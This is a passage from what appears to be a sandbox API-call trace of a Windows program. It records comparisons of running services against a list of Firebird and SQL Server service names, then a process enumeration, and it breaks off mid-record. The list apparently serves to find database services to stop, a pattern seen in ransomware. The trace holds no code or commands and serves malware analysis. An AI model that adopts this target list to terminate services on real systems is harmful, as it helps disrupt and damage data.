(lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0194.238] lstrlenW (lpString="EventSystem") returned 11 [0194.238] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0194.238] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0194.238] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0194.238] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0194.238] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0194.238] lstrlenW (lpString="FontCache") returned 9 [0194.238] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0194.238] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0194.238] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0194.238] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0194.238] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0194.238] lstrlenW (lpString="gpsvc") returned 5 [0194.238] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0194.238] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0194.238] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0194.238] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0194.238] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0194.238] lstrlenW (lpString="iphlpsvc") returned 8 [0194.239] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0194.239] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0194.239] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0194.239] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0194.239] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0194.239] lstrlenW (lpString="KeyIso") returned 6 [0194.239] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0194.239] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0194.239] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0194.239] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0194.239] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0194.239] lstrlenW (lpString="LanmanServer") returned 12 [0194.239] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0194.239] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0194.239] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0194.239] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0194.239] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0194.239] lstrlenW (lpString="LanmanWorkstation") returned 17 [0194.239] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0194.239] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0194.239] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0194.239] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0194.239] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0194.239] lstrlenW (lpString="lfsvc") returned 5 [0194.239] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0194.239] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0194.240] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0194.240] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0194.240] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0194.240] lstrlenW (lpString="lmhosts") returned 7 [0194.240] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0194.240] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0194.240] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0194.240] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0194.240] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0194.240] lstrlenW (lpString="LSM") returned 3 [0194.240] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0194.240] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0194.240] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0194.240] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0194.351] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0194.351] lstrlenW (lpString="MpsSvc") returned 6 [0194.351] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0194.351] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0194.351] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0194.351] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0194.351] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0194.351] lstrlenW (lpString="NcbService") returned 10 [0194.351] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0194.351] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0194.352] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0194.352] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0194.352] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0194.352] lstrlenW (lpString="netprofm") returned 8 [0194.352] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0194.352] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0194.352] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0194.352] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0194.352] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0194.352] lstrlenW (lpString="NgcSvc") returned 6 [0194.352] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0194.352] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0194.352] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0194.352] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0194.352] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0194.352] lstrlenW (lpString="NlaSvc") returned 6 [0194.352] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0194.352] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0194.352] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0194.352] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0194.352] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0194.352] lstrlenW (lpString="nsi") returned 3 [0194.352] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0194.352] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0194.352] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0194.352] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0194.352] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0194.352] lstrlenW (lpString="PcaSvc") returned 6 [0194.352] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0194.352] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0194.353] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0194.353] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0194.353] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0194.353] lstrlenW (lpString="PlugPlay") returned 8 [0194.353] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0194.353] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0194.353] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0194.353] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0194.353] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0194.353] lstrlenW (lpString="Power") returned 5 [0194.353] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0194.353] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0194.353] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0194.353] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0194.353] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0194.353] lstrlenW (lpString="ProfSvc") returned 7 [0194.353] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0194.353] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0194.353] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0194.353] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0194.353] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0194.353] lstrlenW (lpString="RpcEptMapper") returned 12 [0194.353] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0194.353] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0194.353] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0194.353] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0194.353] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0194.353] lstrlenW (lpString="RpcSs") returned 5 [0194.353] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0194.353] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0194.354] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0194.354] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0194.354] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0194.354] lstrlenW (lpString="SamSs") returned 5 [0194.354] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0194.354] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0194.354] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0194.354] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0194.354] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0194.354] lstrlenW (lpString="Schedule") returned 8 [0194.354] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0194.354] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0194.354] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0194.354] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0194.354] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0194.354] lstrlenW (lpString="SecurityHealthService") returned 21 [0194.354] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0194.354] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0194.354] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0194.354] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0194.354] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0194.354] lstrlenW (lpString="SENS") returned 4 [0194.354] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0194.354] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0194.354] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0194.354] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0194.354] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0194.354] lstrlenW (lpString="ShellHWDetection") returned 16 [0194.354] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0194.355] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0194.355] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0194.355] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0194.355] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0194.355] lstrlenW (lpString="Spooler") returned 7 [0194.355] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0194.355] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0194.355] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0194.355] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0194.355] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0194.355] lstrlenW (lpString="StateRepository") returned 15 [0194.355] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0194.355] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0194.355] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0194.355] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0194.355] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0194.355] lstrlenW (lpString="SysMain") returned 7 [0194.355] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0194.355] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0194.355] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0194.355] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0194.355] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0194.355] lstrlenW (lpString="SystemEventsBroker") returned 18 [0194.355] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0194.355] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0194.355] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0194.355] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0194.355] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1 [0194.355] lstrlenW (lpString="Themes") returned 6 [0194.356] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0194.356] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0194.356] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0194.356] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0194.356] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x44e6180 | out: hHeap=0x420000) returned 1 [0194.356] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x370 [0194.362] Process32FirstW (in: hSnapshot=0x370, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0194.362] Process32NextW (in: hSnapshot=0x370, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6e, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0194.363] lstrlenW (lpString="System") returned 6 [0194.363] Process32NextW (in: hSnapshot=0x370, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x13c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0194.363] lstrlenW (lpString="smss.exe") returned 8 [0194.364] Process32NextW (in: hSnapshot=0x370, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0194.364] lstrlenW (lpString="csrss.exe") returned 9 [0194.364] Process32NextW (in: hSnapshot=0x370, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0194.364] lstrlenW (lpString="wininit.exe") returned 11 [0194.365] Process32NextW (in: hSnapshot=0x370, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0194.365] lstrlenW (lpString="csrss.exe") returned 9 [0194.365] Process32NextW (in: hSnapshot=0x370, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x230, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0194.366] lstrlenW (lpString="winlogon.exe") returned 12 [0194.366] Process32NextW (in: hSnapshot=0x370, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x24c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0194.366] lstrlenW (lpString="services.exe") returned 12 [0194.366] Process32NextW (in: hSnapshot=0x370, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0194.367] lstrlenW (lpString="lsass.exe") returned 9 [0194.367] Process32NextW (in: hSnapshot=0x370, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x230, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0194.367] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0194.367] Process32NextW (in: hSnapshot=0x370, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0194.368] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0194.368] Process32NextW (in: hSnapshot=0x370, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0194.368] lstrlenW (lpString="svchost.exe") returned 11 [0194.368] Process32NextW (in: hSnapshot=0x370, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x314, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0194.369] lstrlenW (lpString="svchost.exe") returned 11 [0194.369] Process32NextW (in: hSnapshot=0x370, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x230, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0194.370] lstrlenW (lpString="dwm.exe") returned 7 [0194.370] Process32NextW (in: hSnapshot=0x370, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0194.370] lstrlenW (lpString="svchost.exe") returned 11 [0194.371] Process32NextW (in: hSnapshot=0x370, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0194.371] lstrlenW (lpString="svchost.exe") returned 11 [0194.371] Process32NextW (in: hSnapshot=0x370, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x158, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0194.371] lstrlenW (lpString="svchost.exe") returned 11 [0194.372] Process32NextW (in: hSnapshot=0x370, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3c, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0194.372] lstrlenW (lpString="svchost.exe") returned 11 [0194.372] Process32NextW (in: hSnapshot=0x370, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x28c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2b, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0194.372] lstrlenW (lpString="svchost.exe") returned 11 [0194.372] Process32NextW (in: hSnapshot=0x370, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x42c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0194.373] lstrlenW (lpString="svchost.exe") returned 11 [0194.373] Process32NextW (in: hSnapshot=0x370, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0194.373] lstrlenW (lpString="svchost.exe") returned 11 [0194.373] Process32NextW (in: hSnapshot=0x370, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x570, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0194.374] lstrlenW (lpString="svchost.exe") returned 11 [0194.374] Process32NextW (in: hSnapshot=0x370, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x57c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0194.375] lstrlenW (lpString="svchost.exe") returned 11 [0194.375] Process32NextW (in: hSnapshot=0x370, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0194.375] lstrlenW (lpString="svchost.exe") returned 11 [0194.375] Process32NextW (in: hSnapshot=0x370, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x620, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0194.376] lstrlenW (lpString="spoolsv.exe") returned 11 [0194.376] Process32NextW (in: hSnapshot=0x370, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x66c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0194.376] lstrlenW (lpString="svchost.exe") returned 11 [0194.376] Process32NextW (in: hSnapshot=0x370, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x68c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x4fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0194.377] lstrlenW (lpString="audiodg.exe") returned 11 [0194.377] Process32NextW (in: hSnapshot=0x370, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x71c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0194.377] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0194.377] Process32NextW (in: hSnapshot=0x370, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x760, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0194.378] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0194.378] Process32NextW (in: hSnapshot=0x370, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0194.378] lstrlenW (lpString="Memory Compression") returned 18 [0194.378] Process32NextW (in: hSnapshot=0x370, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x848, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1a8, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0194.379] 